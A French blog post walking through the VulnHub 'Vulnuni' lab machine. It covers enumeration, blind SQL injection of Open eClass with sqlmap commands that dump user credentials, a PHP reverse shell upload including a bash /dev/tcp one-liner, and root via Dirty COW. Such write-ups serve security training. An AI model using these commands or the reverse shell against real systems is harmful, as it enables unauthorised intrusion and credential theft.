VULNHUB | Vulnuni Write-up

SecuCyber
9 min readApr 2, 2020

--

Le post de ce jour présentera la résolution du challenge Vulnuni, créé par @emaragkos et proposé sur la plateforme VULNHUB. Tel que décrit par son auteur, la machine se veut “réaliste” et devrait donc éviter les vulnérabilités triviales retrouvées lors de la plupart des CTF.

C’est ainsi que nous nous retrouverons dans la peau d’un hacker dont l’objectif est “de pirater le site web de son université afin de passer root sur le serveur”… Deux flags, user et root, devront être récupérés au cours de ce challenge.

Sans plus attendre, débutons notre analyse de cette machine !

Eléments de configuration

Virtualisation VMWare

IP attaquant : 192.168.35.128 (VM Kali)

IP victime : 192.168.35.137 (VM Ubuntu)

Enumération

Une fois n’est pas coutume, un premier scan de ports sera réalisé à l’aide de l’outil nmap afin d’identifier les services offerts par cette machine:

Scan de ports du serveur cible

Notre phase d’analyse sera finalement assez rapide ; le seul service HTTP étant en écoute sur le port TCP 80. Afin de poursuivre mon énumération du service Web identifié, une analyse a été lancée à l’aide de l’outil gobuster permettant d’identifier les éventuelles pages présentes mais non référencées depuis le site web.

Résultat de l’analyse du site avec l’outil “gobuster”

S’agissant d’une recherche automatisée par dictionnaire, cette dernière, bien qu’ayant recensée plusieurs liens présents sur notre site, ne nous aura apporté aucun élément complémentaire à une recherche manuelle…Plutôt cohérent étant donné que l’auteur a souhaité créer une machine réaliste et non un “CTF-like” !

La poursuite de notre énumération se fera donc de manière traditionnelle…et c’est tant mieux ! Car l’analyse du code source de la page http://192.168.35.137/courses.html nous fournit un indice quant à la suite de nos investigations. C’est ainsi que le commentaire “Disabled till new version is installed” fait référence à une page nommée vulnuni-eclass-platform.html :

Extrait du code source de la page http://192.168.35.137/courses.html

L’adresse http://192.168.35.137/vulnuni-eclass-platform est bien accessible depuis notre poste et fournit un lien vers une nouvelle fenêtre permettant de s’authentifier sur un espace privé du site.

Après avoir étudié les différents pages accessibles depuis cet espace, l’ouverture du lien “About the platform” nous informe qu’il s’agit du logiciel Open eClass (plateforme de e-learning) dans sa version 1.7.2

Un rapide coup d’œil sur le Net nous confirme la présence d’une vulnérabilité connue sur cette version du logiciel…Amplement référencée sur l’excellent site exploit-db :

En effet, le formulaire d’authentification présent sur ce site de e-learning est vulnérable à une attaque de type “Blind SQL”. Pour ceux souhaitant se documenter sur ce type de vulnérabilité fréquemment rencontrée (présente dans le TOP 10 OWASP), je ne pourrais que vous conseiller la lecture ainsi que l’étude du lien ci-dessous :

Accès initial

Récupération des identifiants d’accès à la plateforme

Disposant maintenant de suffisamment d’éléments, nous sommes en mesure de débuter notre phase de recherche active visant à extraire les informations sensibles se trouvant dans les bases de données du site. L’outil sqlmap, présent sur la plupart des distributions de pentesting, sera utilisé lors de cette phase afin d’automatiser notre attaque.

La requête POST transmise lors de l’authentification au portail sera passée en paramètre à cet outil.

Contenu de la requête POST observée depuis le proxy Burp
sqlmap -r /root/VULNHUB/Vulnuni/request.txt -p 'uname' -- dbs
Récupération des bases de données présentes
sqlmap -r /root/VULNHUB/Vulnuni/request.txt -p 'uname' -D eclass --tables 
Récupération des tables de la base de données “eclass”

Les tables “user” et “admin”semblent les plus intéressantes puisque contenant généralement les champs login et password, utiles à l’authentification des utilisateurs… L’énumération première de la table “user” confirmera bien cette hypothèse !

sqlmap -r /root/VULNHUB/Vulnuni/request.txt -p 'uname' -D eclass -T user --columns
Récupération des colonnes de la table “user”

Pour conclure, il ne me reste plus qu’à extraire les données présentes au sein de la table “user

sqlmap -r /root/VULNHUB/Vulnuni/request.txt -p 'uname' -D eclass -T user --dump
Récupération des données de la table “user”

Nous pouvons constater que les mots de passe ont été insérés en clair dans la base de données MySQL… L’utilisation ultérieure n’en sera dès lors que plus simple !

Upload d’un reverse shell PHP

Lors de ma phase d’analyse du logiciel “Open eClass”, un autre article présent sur le site exploit-db.com avait retenu mon attention. Ce dernier faisait référence à la version 1.7.3 du logiciel et présentait différentes techniques permettant la réalisation d’une élévation de privilèges sur le système hôte, dès lors que nous disposions d’un accès authentifié. Par ailleurs, il s’avére que l’auteur de cet article est le créateur de la machine… J’imagine donc qu’il s’agit très probablement de l’élévation de privilèges souhaitée pour cette machine !

Pour ma part, j’ai choisi de m’appuyer sur une technique présentée consistant à uploader un reverse shell PHP sur le site ; ce dernier nous fournissant dès lors un accès distant sur le système d’exploitation de l’hôte.

Extrait de l’exploit présenté sur le site exploit-db.com

S’agissant du reverse shell PHP utilisé par la suite, il s’agit de celui fournit sur l’excellent site pentestmonkey.net :

Pour ceux souhaitant utiliser un reverse shell plus “concis” (peu importe la raison !), une simple ligne de code serait également suffisante pour obtenir notre accès distant :

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.35.128/1234 0>&1'");

Mais bon…passons ! L’adage populaire veut que “tous les chemins mènent à Rome” et, en effet, les solutions présentées ne se veulent pas exhaustives, loin de là !

Ayant suivi les instructions de l’exploit, j’ai donc zippé mon reverse shell PHP que j’ai ensuite uploadé sur le site à l’aide de la fonction de “restauration de cours”. Il ne restait plus alors qu’à disposer d’un port en écoute (en conformité avec le port renseigné sur notre fichier PHP) et ouvrir la page correspondante du site comme indiqué… Et voilà !

Le fichier uploadé est bien présent et accessible à l’adresse http://192.168.35.137/vulnuni-eclass/courses/tmpUnzipping/php-rev-shell.php
Welcome www-data !

Il est à noter que le shell obtenu est assez minimaliste dans ses fonctions apportées ; l’auto-complétion n’étant à titre d’exemple pas présente. Aussi , afin d’obtenir un terminal “semi-interactif” susceptible de permettre une élévation à l’aide de “su”, j’ai pour habitude d’appeler un nouveau shell Bash à partir de python (lorsque celui-ci est disponible sur le système !)

python -c 'import pty; pty.spawn("/bin/bash")'

Je conseillerais également le post ci-dessous, rédigé par @ropnop, pour tous ceux qui souhaiteraient disposer d’un shell pleinement fonctionnel

L’utilisateur www-data disposant de droits en lecture sur le répertoire de l’utilisateur vulnuni, il ne me reste plus qu’à lire le premier flag (user) de ce challenge !

Flag de l’utilisateur “vulnuni”

Élévation de privilèges

Afin d’élever ses privilèges, il est bien entendu impératif d’analyser le système sur lequel on se trouve. Dès lors, une nouvelle phase d’énumération est nécessaire afin d’identifier les possibilités offertes à l’attaquant à partir du compte compromis ; en l’occurence notre compte de service www-data.

Outre l’énumération manuelle, indispensable lorsqu’aucune possibilité d’upload ou d’exécution distante de scripts et/ou outils n’est envisageable, il existe une pléthore de solutions facilitant grandement ces travaux d’analyse. Pour ma part, j’ai utilisé le script linPEAS.sh disponible sur le site Github de @carlospolop :

Après avoir analysé les résultats obtenus, je me suis concentré sur un point critique relevé, faisant référence à la version obsolète ( 3.11.0–15-generic) du noyau Linux de la machine.

Version du noyau Linux de la machine Vulnuni

A la recherche d’un exploit local rapidement utilisable, j’ai effectué une première recherche à l’aide des modules de post-exploitation présents sur le framework metasploit… Sans succès.

Recherche d’un exploit local à partir du module local_exploit_suggester de metasploit

Mes recherches se sont dès lors poursuites de manière manuelle, toujours relatives à notre noyau Linux obsolète. Recensant l’ensemble des vulnérabilités publiques, j’ai dans un premier temps consulté le site cvedetails.com : une bible incontournable lors de nos différentes phases d’énumération !

L’étude des vulnérabilités présentes sur cette version du noyau Linux m’a ainsi permis d’identifier plusieurs chemins d’exploitation ; mon objectif étant de réaliser une élévation de privilèges locale sur le système. Nous pouvons observer que plusieurs exploits sont disponibles et semblent répondre au besoin identifié :

Extrait des vulnérabilités avec exploit, recensées sur le noyau Linux 3.11

Ayant compilé localement puis testé chacun des exploits présentés, ma déception n’en fut que plus grande…Aucun des exploits relatifs à cette version du noyau Linux n’ont été fonctionnels lors de mes essais.

C’est alors qu’une faille recensée en 2016 et touchant un grand nombre de systèmes tournant sous Linux et Android m’est revenue à l’esprit… Cette vulnérabilité, nommée Dirty COW, exploitait une “condition de concurrence dans la mise en œuvre de la copie sur écriture dans le noyau de gestion de la mémoire”.

Je laisserais aux lecteurs les plus curieux le soin d’étudier la documentation de référence présentée ci-dessous

Afin de tester la vulnérabilité de notre système, j’ai téléchargé un PoC public que j’ai ensuite compilé sur l’hôte.

Téléchargement et compilation locale de l’exploit “dirtycow”

Après exécution, il s’avère que notre hôte … était bel et bien vulnérable !

Welcome root !

Disposant d’un accès root sur le système, il ne nous reste plus qu’à lire le dernier flag de ce challenge

Flag de l’utilisateur “root”

P.S: Il est à noter que, bien que fonctionnel, le PoC utilisé semble instable ; ayant rencontré à plusieurs reprises des redémarrages intempestifs de la machine virtuelle. Aussi, à l’instar des vulnérabilités de type déni-de-service (DoS), je déconseille son utilisation lors d’audits réels sur des Systèmes d’Information en production.

Conclusion

Je remercie tout d’abord @emaragkos pour la réalisation de ce challenge. En effet, j’ai trouvé cette machine plutôt réaliste et n’ai donc pas eu à faire face aux traditionnelles élévations de privilèges avec sudo ou autres éléments obscurs de stéganographies faisant l’apanage des CTF.

S’agissant du niveau de difficulté évalué par l’auteur, à savoir “Débutant”, j’émettrais peut-être quelques réserves en rapport avec la phase d’élévation de privilèges pour l’utilisateur root ; la vulnérabilité Dirty COW, bien que ne nécessitant pas de compétences spécifiques dans son exploitation, n’étant pas nécessairement connue de tous…Encore moins des débutants ! Mais s’agissait-il de l’exploitation finale attendue par l’auteur ? Quoi qu’il en soit, ce challenge était divertissant… Encore merci à l’auteur !

--

--

SecuCyber

Auditeur passionné par le domaine de l’IT et plus particulièrement la sécurité des systèmes d’information